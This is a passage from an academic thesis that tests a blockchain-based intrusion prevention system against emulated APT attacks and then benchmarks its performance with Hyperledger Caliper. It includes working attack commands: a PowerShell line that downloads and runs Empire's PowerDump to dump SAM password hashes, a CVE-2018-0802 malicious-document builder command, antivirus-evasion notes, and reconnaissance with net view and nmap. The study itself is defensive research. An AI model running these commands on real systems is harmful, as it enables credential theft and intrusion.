code. There are several techniques in this tactic as well, however we will continue the 
simulation of APT29 [136] and APT41 [137]. The subject APTs had remarkable success in 
bypassing endpoint controls such as anti-virus suites and endpoint detection and response 
technologies, also known as EDRs. Karantzas et al. in their work [123] demonstrated that 
state-of-the-art EDRs fail to prevent or even log several known APT attacks. We execute an 
obfuscated with Caesar cipher [138] modified version of CALDERA’s agent, that (1) calls back 
home to adversary’s C&C and (2) invoked windows calculator as proof of execution before 
exiting.  
 
Results in Blockdown mode OFF 
 
Execution and defence evasion is successful while windows security is enabled and active, see 
Figure 72. 

 
Figure 72 - Successful defence evasion. 

Results in Blockdown mode ON 
 
Execution is automatically denied since the hash of T1027.exe, is not present on-chain, before 
even the anti-virus runtime scan takes over to determine if T1027.exe behaves maliciously or 
not, see Figure 73. 
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Figure 73 - Execution of defence evasion payload denied. 

5.2.3.6 Credential Access 
 
In the context of APT attacks, adversaries at this stage usually aim to complete one of their 
objectives [148] e.g., extract passwords from web browser to further spy on victim’s emails 
(assuming those are online hosted). If their objective is not directly achievable, then they 
usually aim to search for other credentials e.g., system credentials, that might be used further 
to target the Active Directory or overall help them to unlock additional privileged resources 
within the victim’s computing infrastructure. In this class, we follow closely and simulate the 
methods used by APT3 [149], APT33 [150] and APT37 [151], to: 
 

1. Acquire credentials from user’s web browsers by reading specific files to the target 
browsers. For this technique we leverage Nirsoft’s web browser pass view tool [152], 
however, loaded through CALDERA to leverage Caesar’s obfuscation, thus making it 
undetectable to local anti-virus. 
 

2. We utilize only a PowerShell script to read system hashes from the registry, therefore 
avoiding any unwanted detection from potential endpoint controls and hence 
executing zero additional system extraction tools such as (Mimikatz, PwDump, 
SAMdump, HashDump, Metasploit and others [153]).  
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Results in Blockdown mode OFF 
 

The modified version of “wb.exe” is executed and two stored passwords are shown in 
Figure 74. Note that the tool allows for command line execution and password extraction in 
plain text format, therefore the credential extractions process can become end-to-end 
invisible and undetectable, both for the user and the endpoint anti-virus.  

 

 
Figure 74 - Successfully acquiring web browser credentials. 

For the second case, we utilize the following code and commands: 
 

 
 

In this scenario we faced a minor caveat, where a silent parameter within PowerShell had 
to be sent to override the execution policy and allow the script to run. For demonstration 
purposes, as shown in Figure 75, the PowerShell is visible to user while accessing Security 
Account Manager (SAM) to read hashes and usernames, nonetheless this would be normally 
hidden from the user’s view.  
 

Write-Host "STARTING TO SET BYPASS and DISABLE DEFENDER REALTIME MON" -fore green; Set-
ExecutionPolicy -Scope CurrentUser -ExecutionPolicy RemoteSigned -ErrorAction Ignore; Invoke-Webrequest -Uri 
"https://raw.githubusercontent.com/BC-
SECURITY/Empire/c1bdbd0fdafd5bf34760d5b158dfd0db2bb19556/data/module_source/credentials/Invoke-
PowerDump.ps1" -UseBasicParsing -OutFile "$Env:Temp\PowerDump.ps1"; Import-Module 
"$Env:Temp\PowerDump.ps1"; Invoke-PowerDump 
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Figure 75 - Successful SAM access through registry and PowerShell. 

Results in Blockdown mode ON 
 

For the first attack and while on Blockdown ON mode however, it results in an immediate 
block of all subsequent events of password acquisition since the password extraction tool 
(wb.exe) is denied execution. This is again, because the hash of wb.exe is not written on-
chain, therefore execution automatically denied, as seen in Figure 76. 

 
Figure 76 - Unsuccessfully attempt to acquire web browser credentials. 
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For the second scenario, we purposefully allow PowerShell execution simply to 
demonstrate that even if an APT has previously managed to elevate privileges and can run 
important system components as administrator, the hash of the malicious script 
“PowerDump.ps1” script is not written on-chain, and therefore further execution of malicious 
tools or scripts is prevented as showed in Figure 77 top left side .For the simple case where 
an APT tried to launch the same attack from user’s PowerShell, that is not possible as 
ownership of PowerShell on-chain is assigned to Administrator only. Therefore, both 
preventive and detective rules triggered as seen in Figure 77 bottom right side. 
 

 
Figure 77 - Unsuccessful SAM access through registry and PowerShell for both user and administrator profiles. 

5.2.3.7 Discovery 
 

Discovery phase consists of several techniques that APT actors utilize to acquire knowledge 
about the compromised system and the internal network. During this phase, adversaries 
observe the compromised ecosystem and orient themselves before deciding how to act 
thereafter according to their specific goals. In this section we focus on the two dominant 
discovery techniques as per MITRE’s database, namely we follow on footsteps of APT41 [154], 
an espionage group that used system native net.exe as part of network reconnaissance and 
thereafter used pre-compiled scanners such as Nmap [90] to scan internal systems for open 
ports and vulnerable services.  
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Results in Blockdown mode OFF 
 
We use the following command to discover nearby Windows-based computers, as shown in 
Figure 78: 
 

 
 

 
Figure 78 - Network discovery using net.exe. 

In our test environment we have only one windows-based running currently with hostname 
“VINH-PC”. The next step is to upload a pre-compiled version of Nmap scanner and execute 
it. Figure 79 shows that the scan was successfully executed. For demonstration purposes we 
used the verbose flag (-vv) and allowed to be shown on user’s desktop. 
 

net view /domain && net view 
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Figure 79 - Discovery using Nmap. 

Results in Blockdown mode ON 
 

Reproducing the same attacks with Blockdown mode ON, the initial attempt to execute 
the windows native net.exe to perform network reconnaissance we are immediately trigger 
two different rules. The first one and according to Table 12 (Ownership transfer list), the 
attack triggers a potential intrusion alert since the net.exe ownership on chain does not 
belong to user “George”. The second one, is the alert received by user “George” on his 
endpoint screen trying to execute net.exe through command line, shown in Figure 80 – which 
in addition is not owned by “George” as well, according to on-chain records. 
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Figure 80 - Command line execution denied. 

Furthermore, the Nmap scanner was not able to execute on remote employee’s endpoint 
since its hash is not present on chain. Running the same command (nmap -sS -P0 -vvv vinh-
pc) provides for the outcome of remote employee’s screen shown in Figure 81. 
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Figure 81 - Nmap blocked while in Blockdown ON mode. 

 
5.2.4 Fileless Attacks 
 

In this section we focus on emulating fileless-based APT attack(s). In previous section 5.2.3 
File-based attacks we demonstrated MITRE’s ATT&CK tactics from initial access up to 
discovery, while the adversary’s payload always had a direct or indirect interaction with the 
victim’s hard disk drive. In this context, direct, meant that the adversary attempted to directly 
execute the payload, or a social engineering scenario was assumed where a direct execution 
of the payload was performed by the user inadvertently. Indirect execution meant that the 
attacker leveraged legitimate system tools such as cmd.exe, powershell.exe, explorer.exe, 
without injecting onto their memory space, however.  

 For this attack class, the attacker will try to leverage legitimate system tools or processes 
by injecting malicious code onto their memory space to avoid detection. According to MITRE’s 
attack techniques, process injection and all the relevant sub-techniques [155] such as, DLL 
injection, proc memory, PE injection, process hollowing, can potentially evade detection from 
security products since the execution is masked under a system-owned legitimate process.  

Threat actors utilize this methodology after successfully exploiting a vulnerability on, for 
instance, victim’s Microsoft Word (winword.exe), to quickly migrate into a more stable 
process e.g., cmd.exe, explorer.exe or svchosts.exe to move on to the next stages of execution 
and establishing persistent foothold on the victim’s endpoint. During the previously 
mentioned phase of initial access through exploitation of Word, there is a short opportunity 
for APTs to establish persistent access, however, if the Word (winword.exe) process ends for 
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any reason, that opportunity is lost and APTs need to regain the initial access through other 
means. This can happen for example if winword.exe becomes unresponsive during 
exploitation, or simply because the user decided to terminate the malicious word document. 
Thereby, during this short, timewise, opportunity window APTs either drop a persistent 
payload on disk or use the different sub techniques of injection to establish persistent 
foothold on the victim’s endpoint. The former case has been demonstrated in section 5.2.3 
File-based attacks. In this section we follow relevant APTs simulating injection techniques to 
assess the efficacy of the BIDPS. However, the tests will focus explicitly on the initial access 
phase, since that would be the only differentiation factor compared to the rest phases 
demonstrated during file-based attacks. 

 
To assess the blockchain enabled IDPS efficacy we maintain the previous settings intact 

and assess the remote employee’s endpoint (victim) in the same two modes:  
 

• Blockdown mode OFF, the endpoint operates under the normal ZTA enabled 
corporate environment. 
 

• Blockdown mode ON, the endpoint’s application execution is governed by a simple 
rule, namely, the application’s hash attempting to execute must (1) be present on-
chain, and (2) must be owned by the user, in every other case execution will be 
explicitly denied and moreover a detection alert will be triggered.   
 

“Blockdown” is a naming convention we produced, since the endpoint will go in lockdown 
mode, however, hashes of the executable extensions are passed on the blockchain, therefore 
“blockdown”.  
 
5.2.4.1 Initial Access 
 

We follow and simulate the actions of APT37 [151], a state-sponsored cyber espionage 
group that targeted mostly government networks and financial institutions. APT37 used to 
inject their payload, a cloud based remote administrator tool named ROKRAT [156], within 
cmd.exe, however there were cases where cmd.exe was denied by group policy thereby 
injection switched to other windows native processes such as svchost.exe or explorer.exe. 
Injection happens in three potential ways, first, utilizing windows native executables such as 
mavinject.exe or odbcconf.exe. Second, using custom made malicious loaders or injectors. 
Third, by adding shellcode directly after exploitation, or even sometimes obfuscated within 
the exploitation phase.  

For the first scenario, we replicate APT37 steps according to FireEye’s report [157] and 
produce a malicious word document. The ad-hoc installed version of Microsoft office 2016 on 
remote employee’s endpoint is subject to CVE-2018-0802 [158]. Then according to APT37 and 
once successful exploitation, we inject calc.exe leveraging mavinject64.exe. In second 
scenario, we use the 64-bit version of a custom injector known as InjectAllTheThings [159] to 
reflectively load [160] the malicious version of calc.exe. In third scenario, we load the 
shellcode to inject and load malicious version of calc.exe directly within the shellcode. To 
produce the malicious word document, we use packager_exec [161] CVE-2018-0802 with the 
following command: 
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Blockdown mode OFF  
 

In all three abovementioned scenarios while having Blockdown mode OFF, we got the 
same result. Namely, our version of calculator “calcz.exe” was successfully executed and 
loaded on cmd.exe svchost.exe and explorer.exe respectively. The latter is shown in Figure 
82.  
 

 
Figure 82 - Calc.exe injected through vulnerable word instance. 

Blockdown mode ON 
 

For the first scenario, where the native mavinject64.exe is used as injector the calculator 
was not able to load because mavinject64.exe was blocked upon execution, as shown in 
Figure 83. According to our initial design and Table 12 the ownership on-chain belongs to 
“administrator”, therefore execution under user “George” denied while detection and 
prevention rules triggered.  
 

packager_exec_CVE-2018-0802.py -e C:\Users\Public\calcz.exe -o test.rtf 
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Figure 83 - mavinject64.exe execution denied. 

For the second scenario we tried the custom injector injectAllTheThings.exe, however and 
despite already having remote shell on the remote employee’s desktop due to successful 
exploitation, injector’s hash was not present on chain, thereby execution denied. Lastly, for 
the third scenario where the shellcode for calc.exe alongside the injector was passed as 
shellcode directly after the exploit, it was eventually possible to execute the calculator 
avoiding all detection triggers, as shown in Figure 84. 
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Figure 84 - Successful execution of calculator through reflective injected shellcode. 

 
5.2.5 Limitations 
 

The two attack classes selected to perform the tests include various techniques. During the 
testing phase, we followed tactics and techniques of APTs specifically targeting the financial 
services sector or having extremely high success ratio for the detection test to be as 
challenging as possible. Nonetheless there might be other tactics and techniques that were 
not included in the test with various results, hence the limitation in scope is noted. Moreover, 
during evaluation some payloads were by default detected by windows defender. In this case, 
avoiding detection, apply highly efficient obfuscation techniques or evaluating the evasion of 
endpoint controls other than the BIDPS was out of scope. This led to the limited available 
payloads (e.g., calc.exe) used to display the relevant successful techniques.   
 
5.2.6 Specifications 
 

Table 14 - APT simulation lab specifications. 

 Remote employee  
 SDP Client (1) (VM1) 

Vinh-PC (test-pc for 
discovery phase 

APT simulation 

Operating 
System (OS) 

Windows 10 Pro x64 Windows 10 
ARM64 insiders 

build 

Ubuntu 20.04.2 ARM64 
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Hard Disk 
Drives (HDD) 

25GB 25GB 64GB 

Central 
Processing Unit 

(CPU) 

2.19 GHz Quad Core Intel Core i7-
4770HQ 

1.20 GHz Quad 
Core Intel Core i7-

4770HQ 

2GHz Quad Core ARM64 
emulation on Apple M1 

Random Access 
Memory (RAM) 

6.23GB 2GB 8GB 

Software (SW) Zscaler SDP Windows Client 3.1.0.117, 
HashMyFiles 2.3.7.0, SysMon64, Google 

Chrome 95.0.4638, Adobe Reader DC 
2021.007.20099_english_x64, Microsoft 
Office 2016, ad-hoc vulnerable instance 
of Microsoft Office 2016, Java 8 Update 
291, Java SE Dev Kit 16.0.1 x64, Visual 

C++ 2008,2010,2015-2019, NPCAP, 
VMWare tools, Sysmon, process 

explorer 

Default Windows 
installation ARM64 

version insider’s 
preview with no 

additional packages 
or programs 

installed 

Default ubuntu 
installation with MITRE 

Caldera installation from 
official github and its 

dependencies python3-
dev, git-core, mongodb,  
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5.3 Conclusion and Discussion on Effectiveness 
 

Several tactics and techniques were launched within the lab environment, as shown in 
Figure 85. Based on our evaluation rationale for both file-based and fileless attacks the same 
objectives apply. However, since the only difference between file-based and fileless attack 
classes would be during the execution tactic and related techniques, we started performing 
all applicable tactics and techniques in file-based class, and thereby re-assessed explicitly the 
execution tactic and related techniques under fileless attack class.  
 

 
Figure 85 - Launched tactics and techniques within lab environment. 

In Chapter 3, design phase, two additional research questions were raised. More specifically: 
 

• (RQ2) How can we solve the highlighted Achilles Heel of ZTA? Namely, will the 
proposed BIDPS detect and prevent attacks against endpoints prior the 10th stage of 
MITRE’s ATT&CK threat knowledge base, thus proving effectiveness? 

• (RQ3) How can we augment ZTA on endpoints using DLTs and blockchain?  



 146 

The research aimed to address research questions RQ2 and RQ3 regarding the 
effectiveness of the BIDPS in detecting and preventing file-based attacks and its role as a 
source of immutable trust.  

 
Regarding file-based attack class, the following results were extracted:  
 
1. The BIDPS effectively detects and prevents all tactics and techniques associated with 

file-based attacks. Through lab tests, it was demonstrated that the BIDPS acts as the 
sole source of immutable trust and truth when it comes to both malicious and 
legitimate file execution. 

2. In the lab tests, attempts to execute files without their hash and defined attributes 
being recorded on-chain triggered detection rules and alerts, leading to the denial of 
execution. This highlights the importance of recording file information on-chain as a 
prerequisite for execution. 

3. It was found that attempting to execute a malicious file by simply dropping it on disk 
without its data being present on-chain was impossible. This indicates that prevention 
at all stages of the attack was successful, as the BIDPS effectively blocked the 
execution of unauthorized files. 

 
These findings demonstrate the efficacy of the BIDPS in detecting and preventing file-

based attacks, ensuring that only trusted and authorized files are executed while maintaining 
a high level of security and prevention throughout the process. 
 

Regarding fileless attack class, the following results were extracted:  
 

1. The research successfully addresses research questions RQ2 and RQ3 regarding the 
detection, prevention, and trust establishment in fileless attacks as well. However, it 
is important to note that while the detection and prevention aspects are partially 
achieved by the BIDPS alone, the integration of Sysmon or similar memory detection 
tools is necessary for comprehensive protection against in-memory attacks. 

2. The lab results revealed a weakness in the BIDPS when it comes to detecting and 
preventing in-memory attacks. To address this, the context aware on-chain 
verification (see Table 12) was introduced. It contains native Windows applications 
that are commonly abused for process injection. By declaring the ownership of 
executables based on user privileges and recording it on-chain, the BIDPS can detect 
and prevent process injection attempts. 

3. However, if advanced persistent threats (APTs) utilize custom non-Windows native 
tools or shellcode to load malware directly into memory without any executable 
touching the disk, the BIDPS is unable to detect or prevent such attacks. It is crucial to 
highlight that even if the malicious payload is loaded successfully, persistent access 
cannot be established without writing data on disk. 

4. To complement the detection of in-memory attacks, the research implemented the 
use of Sysmon. A single test demonstrated the effectiveness of capturing Event ID 8, 
"CreateRemoteThreat," through Sysmon. This opens potential for further research, 
such as recording all event IDs on-chain and using them as a source of immutable truth 
to trigger preventive actions automatically. 
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Figure 86 - Sysmon event ID 8, in memory attacks detection. 

5. In cases where attackers are less skilled and use custom or native loaders to pass 
malicious code directly into memory, the BIDPS can detect and prevent such attempts. 
However, if adversaries are highly skilled and manage to insert malicious code directly 
into memory, the BIDPS requires the assistance of a memory analysis tool for 
detection and prevention. 

 
Overall, the BIDPS can partially detect and prevent fileless attacks during the execution 

phase, depending on the methodology and skillset of attackers. It achieves full detection and 
prevention when attackers need to modify data on disk, as seen in the results of the file-based 
attacks. In Figure 94, the tactics and techniques used in both file-based and fileless attacks 
are summarized and visualized, along with their success ratios. For file-based attacks, the 
BIDPS achieved a 100% success rate in both prevention and detection. However, when 
integrated with Sysmon, the effectiveness dropped to 84.7%. The BIDPS demonstrates its 
ability to detect and prevent malicious execution, even acting on legitimate execution if 
necessary. This successfully answers RQ2. Furthermore, by establishing trust on-chain and 
removing trust from the endpoint itself, the BIDPS creates an immutable system of explicit 
trust, addressing RQ3. This system aids in effective prevention and detection, as well as 
providing a reliable source of truth for intrusion detection, incident investigation, and 
forensics examination. 
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Figure 87 – BIDPS success rate against file and files attacks. 

5.4 Performance Evaluation  
 

As discussed in 3.2.4 Performance and Scalability, a performance and scalability working 
group (PSWG) introduced a benchmarking framework named Hyperledger Caliper [80], while 
at the same time, several research papers have been published [78], [79] investigating and 
testing the performance of the benchmarking framework itself. Caliper is a general 
framework facilitating the benchmarking or performance evaluation of blockchain platforms 
with a predefined use case. Caliper’s primary purpose is to serve as a reference point in 
supporting the suitability of a blockchain implementation according to the user-specific use-
case. Caliper’s reports should not be read in a simplistic manner, for instance, blockchain 
network X produces 100 transactions per second (TPS) while blockchain network Z produces 
200 TPS, thereby network Z is better. Furthermore, in this section, we will describe the 
parameters to consider for such decisions avoiding simplistic comparatives and other caveats.  

By the time of this writing, Hyperledger Fabric satisfies the following key attributes [162], 
thereby providing additional confidence in our selected benchmarking tool: 

 
• Provides a common layer to integrate with major existing blockchain frameworks 

and platforms, meaning, the same benchmark can be executed on different 
blockchain systems.  

• Provides a commonly accepted terminology and definition for performance 
indicators, such as TPS, latency, resource utilization, average time, and others. 

• Provides satisfactory documentation and commonly accepted benchmark cases.  
 
Caliper can be used for either performance evaluation or benchmarking. The two terms differ. 
In this section we evaluate the performance of the BIDPS, which is the process of measuring 
the performance of our blockchain system, also referred to as system under test (SUT). The 
evaluation covers pre-defined system-wide performance indicators.  

The focus of this section is to evaluate, understand and document the performance of the 
SUT. We aim to achieve this by measuring the SUT’s performance indicators while dependent 
variables are altered. For example, changing the block size while measuring TPS, or changing 
the number of concurrent requests while measuring throughput. Benchmarking on the 
contrary, is the process of making standard measurements to compare one system against 
another. It can also be a comparison of the same system’s previous versus new measurements 
subject to a variable alteration.  
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5.4.1 Environment Definitions 
 
A typical configuration for a blockchain performance evaluation includes two primary 
elements, test harness and the SUT, as shown in Figure 88. 
 

 
Figure 88 - Blockchain Performance Evaluation Sample Configuration. 

• The test harness environment comprises the hardware and software in use during 
performance evaluation. For the specifications see Table 10. Through the clients we inject 
workloads and make observations in several nodes. The load generating client is a node 
that submits transactions on behalf of a remote employee (user) to the blockchain 
network (SUT). This is done through Hyperledger Fabric SDK 2.2. The observing client is a 
node that receives notifications from the SUT regarding the status of the submitted 
transactions. The observing client cannot submit any new transactions, however.  

 
• The SUT environment, although we will define this in detail later in this section, includes 

on a high-level the hardware, software, networks, and all relevant configurations required 
to run and maintain the blockchain. Nodes in the Hyperledger Fabric can have distinct 
roles, such as endorsing peers, ordering services or validating peers. Due to hardware 
limitations, all our nodes run in a containerized environment on the same virtual machine 
(VM) thereby the alterations in variables do not have major impact, as they should in a 
production-ready environment with nodes running on separate machines, or even a 
Kubernetes cluster. 
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5.4.2 Key Metrics Definitions 
 

A. Read latency (max/min/avg) 
 
Read latency = time when response received – submit time 
 
Read latency is the time between read request submission and received reply, expressed in 
seconds. 
 

B. Read throughput. 
 
Read throughput = total read operations ÷ total time in seconds 
 
Read throughput is a measure of how many read operations are completed in a defined 
period, expressed as reads per second (RPS).  
 

C. Transaction latency (max/min/avg) 
 
Transaction latency = (confirmation time at network threshold) – submit time 
 
Transaction latency shows the time from the point that a transaction is submitted to the point 
that the result becomes available in the network. 
 

D. Transaction Throughput 
 
Transaction throughput = total committed transactions ÷ total time in seconds at committed nodes 
 
Transaction throughput is the rate at which valid transactions are committed by the 
blockchain SUT in a defined period. This is the rate across the entire SUT however, and not on 
a single node. This rate is expressed as transactions per second (TPS) at a network size. 
 

E. Successful transactions 
 
The number of successful transactions. 
 

F. Failed transactions 
There are several possible reasons why blockchain transactions can be rejected, including 
consensus errors, syntax errors, and version errors. 
 

• Consensus errors 
- Validation logic, defined as VSCC.  
- Endorsement policy not satisfied.  

 
• Syntax errors 

- Invalid inputs, such as smart contract id or unmarshalling errors 
- Unverifiable client or endorsement signature 
- Repeated transaction due to error or replay attack. 

 
• Version errors 
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- Due to version control, for instance, readset version mismatch or writeset 
becomes unwritable. 
 

5.4.3 Architecture 
 
Hyperledger Caliper will fulfil the following three primary tasks: 
 

1. Function as a service that generates workload against our SUT. 
2. Continuously monitor SUT’s response(s) 
3. Generate a detailed report based on predefined key metrics.  

 
A simplified overview is shown in Figure 89, where it becomes evident that Caliper requires 

several inputs to run a performance test, regardless of the SUT’s details. For reference, the 
BIDPS / SUT is shown in Figure 31. In this section we describe our own setup, provide a brief 
description of the inputs and the rationale.  
 

 
Figure 89 - High level representation of performance evaluation architecture. 

 

Caliper offers extensive documentation and tables with specific values and explanations 
regarding the configuration of each required input shown in Figure 89 [163]. Namely (1) the 
workload module, (2) benchmark configuration, and (3) network configuration together with 
(4) performance artifacts are the primary source of information for Caliper. The generated 
output is (5) the performance report. Caliper as a performance evaluation framework, 
requires two distinct processes, (a) the Caliper Manager process, which is responsible for SUT 
initialization and benchmark coordination, as well as the management of the performance 
report generation. (b) The worker process(es), responsible for the actual workload 
generation. This is also a core component towards Caliper scalability. Meaning, if workers 
reach the limits of its host machine, more workers can be deployed (for instance on different 
machines) to generate more workload, thus additional stress on the SUT.  
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5.4.3.1 Caliper Workspace 
 

To begin with, we prepare the folder structure for the Caliper workspace. Thus, three core 
folders named “networks”, “workload”, and “benchmark”. In continuation we setup and 
utilize the core components. It is imperative to setup the Caliper command line interface (CLI), 
as this is the way to communicate with Caliper. Equally important is to bind the corresponding 
version of SDK according to Hyperledger Fabric version. We use the latest version, thereby 
Caliper CLI 0.4.2 and Fabric 2.2 with the following commands: 
 
root@blocklabz:/home/blocklab/Desktop/hypercaliberlab/fabric-samples/caliper-workspace# npm 
install --only=prod @hyperledger/caliper-cli@0.4.2 

root@blocklabz:/home/blocklab/Desktop/hypercaliberlab/fabric-samples/caliper-workspace# npx 
caliper bind --caliper-bind-sut fabric:2.2 
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5.4.3.2 Network Configuration File 
 

Within the “networks” folder we build the first required input for Caliper, the 
networkConfig.yaml file. This ensures Caliper will leverage our previously blockchain network 
setup, and stress test this accordingly. The complete file is shown below: 
 
 
name: Caliper test 
version: "2.0.0" 
caliper: 
  blockchain: fabric 
channels: 
  - channelName: mychannel 
    contracts: 
    - id: basic 
organizations: 
  - mspid: Org1MSP 
    identities: 
      certificates: 
      - name: 'User1' 
        clientPrivateKey: 
          path: '/home/blocklab/Desktop/hypercaliberlab/fabric-samples/test-
network/organizations/peerOrganizations/org1.example.com/users/User1@org1.example.com/msp/ke
ystore/cf3c54d83812ca291f73e46066fae61a1fadeb848b7ef57cdf9dce86d3ff171e_sk' 
        clientSignedCert: 
          path: '/home/blocklab/Desktop/hypercaliberlab/fabric-samples/test-
network/organizations/peerOrganizations/org1.example.com/users/User1@org1.example.com/msp/sig
ncerts/cert.pem' 
    connectionProfile: 
      path: '/home/blocklab/Desktop/hypercaliberlab/fabric-samples/test-
network/organizations/peerOrganizations/org1.example.com/connection-org1.yaml' 
      discover: true. 
  - mspid: Org2MSP 
    identities: 
      certificates: 
      - name: 'User1' 
        clientPrivateKey: 
          path: '/home/blocklab/Desktop/hypercaliberlab/fabric-samples/test-
network/organizations/peerOrganizations/org2.example.com/users/User1@org2.example.com/msp/ke
ystore/91f869ea65c0e06f4d51986003a7e875ea67214e888a9318a47653cf3c4ace5b_sk' 
        clientSignedCert: 
          path: '/home/blocklab/Desktop/hypercaliberlab/fabric-samples/test-
network/organizations/peerOrganizations/org2.example.com/users/User1@org2.example.com/msp/sig
ncerts/cert.pem' 
    connectionProfile: 
      path: '/home/blocklab/Desktop/hypercaliberlab/fabric-samples/test-
network/organizations/peerOrganizations/org2.example.com/connection-org2.yaml' 
      discover: true. 
 
 
  



 154 

5.4.3.3 Workload Module 
 
The workload module interacts with out deployed smart contract during the stress test round. 
We built the workload module in such way that reflects the main functions of our BIDPS, 
hence, (1) create new applications in the ledger in the form of “submit transactions”, and (2) 
search if an application exists in the world state in the form of “evaluate transactions” or 
“queries”. The full workload module is provided below. 
 
'use strict'; 
const { WorkloadModuleBase } = require('@hyperledger/caliper-core'); 
class MyWorkload extends WorkloadModuleBase { 
    constructor() { 
        super(); 
    } 
    async initializeWorkloadModule(workerIndex, totalWorkers, roundIndex, roundArguments, 
sutAdapter, sutContext) { 
        await super.initializeWorkloadModule(workerIndex, totalWorkers, roundIndex, 
roundArguments, sutAdapter, sutContext); 
        for (let i=0; i<this.roundArguments.assets; i++) { 
            const assetID = `${this.workerIndex}_${i}`; 
            console.log(`Worker ${this.workerIndex}: Creating asset ${assetID}`); 
            const request = { 
                contractId: this.roundArguments.contractId, 
                contractFunction: 'CreateAsset', 
                invokerIdentity: 'User1', 
                contractArguments: [assetID,'hash','owner','size','appVersion',], 
                readOnly: false 
            }; 
            await this.sutAdapter.sendRequests(request); 
        } 
    } 
    async submitTransaction() { 
        const randomId = Math.floor(Math.random()*this.roundArguments.assets); 
        const myArgs = { 
            contractId: this.roundArguments.contractId, 
            contractFunction: 'ReadAsset', 
            invokerIdentity: 'User1', 
            contractArguments: [`${this.workerIndex}_${randomId}`], 
            readOnly: true 
        }; 
        await this.sutAdapter.sendRequests(myArgs); 
    } 
} 
function createWorkloadModule() { 
    return new MyWorkload(); 
} 
module.exports.createWorkloadModule = createWorkloadModule; 
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5.4.3.4 Benchmark Configuration 
 
The benchmark configuration file (myAssetBenchmark.yaml) is where several options of the 
actual stress test can be configured. For instance, how many workers should the manager 
spawn, for how many rounds, how many transactions to be simulated and others. We also 
specify the monitoring options here; those allow for a full monitoring and thereby full 
reporting generation with the desired key metrics. There were numerous different 
benchmark configuration files during the performance evaluation, however, a sample version 
is provided below.  
 
test: 
    name: basic-contract-benchmark 
    description: test benchmark 
    workers: 
      number: 4 
    rounds: 
      - label: readAsset 
        description: Read asset benchmark 
        txNumber: 35000 
        rateControl: 
          type: maximum-rate  
          opts: 
            tps: max 
        workload: 
          module: workload/readAsset.js 
          arguments: 
            assets: 40 
            contractId: basic 
monitors: 
   resource: 
   - module: docker 
     options: 
       interval: 5 
       containers: 
       - all 
 
 
 
5.4.4 Performance Problem Statement 
 

Several essential functions take place within the BIDPS ecosystem. Based on our initial 
proposal in section   
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4.5.7 Application Rationale and Figure 51, processes 1 and 2 do not have a time constrain 
attached to them. Viz. the blockchain network administrator(s) per organization can build the 
necessary application whitelist before allowing access to the corporate resources in advance. 
The same pre-condition applies to the BYOD scenario. For the sake of completeness and 
measurement nonetheless, our BIDPS prototype was able to onboard 200 users within 
approx. 75 minutes, generating 1 million successful transactions in total, with the rate of 220 
TPS. Therefore, user onboarding, firstly, is usually not a time bounded task, and secondly, 
even if an organization has hard deadlines on user onboarding, with an extremely limited 
resourced prototype like ours, it could onboard 1300 new endpoints per working day 
(assuming 8 hours equal a working day).  

Thus, our first performance evaluation workload generation and measurement are 
focused on process 3. Process 3 is where the decision-making whether an application is 
allowed to be executed or not transpire. Consequently, this is also a key point for process 6, 
whereas if an application is not allowed to execute, a potential intrusion detection alert needs 
to be raised. On the contrary if the outcome of process 3 is positive, namely the query returns 
the required value, then the application will be allowed execution. This is likely the first 
potential performance bottleneck. Before diving into system bottleneck analysis, it is 
imperative to understand the two BIDPS’s application-peer interactions, namely ledger-
update versus ledger-query transactions.  

 
In section 4.4.6 Consensus we described the BIDPS’s transaction flow in three simple stages 

(A) endorsement, (B) ordering, (C) validation and commitment, whereas in Figure 33 we 
demonstrated the same on a high-level. The BIDPS application currently deployed on the 
remote employee’s endpoint, will always connect to the relevant organization peer(s) when 
it needs to access the ledger and chaincode(s). Once the peer connection is established, the 
BIDPS application can execute the chaincode to either query or update the ledger.  

 
• In case of a ledger-update transaction, a more complex interaction between the 

application, peer(s) and orderer(s) must take place, namely stages (A), (B) and (C) 
must be completed. In addition, this is the first out of two available methods to 
execute chaincode, by using ‘invoke’, which covers the whole transaction flow. 
 

• In case of a ledger-query transaction, the outcome is immediately returned to the 
user, while only stage (A) must be completed. This is the second out of two available 
methods to execute chaincode, by using ‘query’, which calls only one peer to get the 
result of chaincode invocation. 

 
Table 15 summarizes the individual consensus related actions while showing where the 
invoke or query is required.  

 

Table 15 - Invoke versus Query. 

Action vs transaction method Invoke Query 
Results in the update of world-state DB Yes No 
Transaction data saved on-chain Yes No 
Requires responses from multiple peers Yes No 
Triggers ordering service and block creation Yes No 
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A ledger query transaction is far more lightweight than ledger-update (invoke) since it does 
not need to engage multiple peers, nor the ordering service. Therefore, it is best suited for 
low-latency read-only activities, without the necessity to record data on-chain. 

Considering our BIDPS context however, Process 3 (described in   
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4.5.7 Application Rationale) and visualized in Figure 51 refers to the application 
“AssetExists”, which invokes the “ReadAsset” chaincode. Therefore, it is evident that during 
process 3, the decision-making point whether an application will be allowed execution upon 
user’s request is a ledger-query transaction. Subsequently, stages (B) ordering and (C) 
validation and commitment are descoped when it comes to performance measurement for 
this experiment.  
 
A simplified representation of a ledger-query transaction is shown in Figure 90. 

 
Figure 90 - Ledger-Query transaction overview. 

Every endpoint will have to utilize “AssetExists” and “ReadAsset” application and 
chaincode respectively, thereby the response (2.3 Response) will be the last step within the 
transaction flow. Conclusively: 
 

1. The BIDPS when it comes to decision-making e.g., allow versus deny execution to an 
application and thereby raising or not raising an intrusion alert, inherently avoids the 
already identified bottlenecks [71] [164] [165]  when it comes to ledger-update related 
transactions of Hyperledger fabric. This is because our intrusion detection mechanism 
happens before the block creation or ordering service begins. 

2. However, this forms the following research question. RQ4 What happens when 
hundreds of users (or even thousands in the case of a notional bank) try to execute 
an application and thereby start a ledger-query transaction all at once?  

 
5.4.5 Problem Analysis and Observations 
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To answer RQ4, we need to breakdown the exact steps of a ledger-query transaction. 
Phase (A) of a ledger-update transaction is the entire ledger-query transaction, as shown in 
Figure 90. Phase (A) is the endorsement phase. In the case of ledger-query, it is named 
transaction proposal and endorsement, and it consists of three discrete steps. These are part 
of the client application and peer interaction. Specifically, in our BIDPS ecosystem, the client 
application represents the remote employee’s workstation. Thereby the sequence for an 
endpoint with a user having a valid identity is the following: 
 

1. Transaction proposal: user belonging to org1 executes a single application 
chrome.exe, which automatically triggers the “AssetExists” chaincode and therefore 
submits a signed -with user’s certificate- transaction proposal to the endorsing 
organization org1 peer(s).  

2. Transaction execution: peer0 belonging to org1 executes the chaincode “ReadAsset” 
specified in the proposal and generates a proposal response which contains the read-
write set. The response is signed by peer0 and is sent back to the user.  

a. In case the output matches the input, namely, the current hash of chrome.exe 
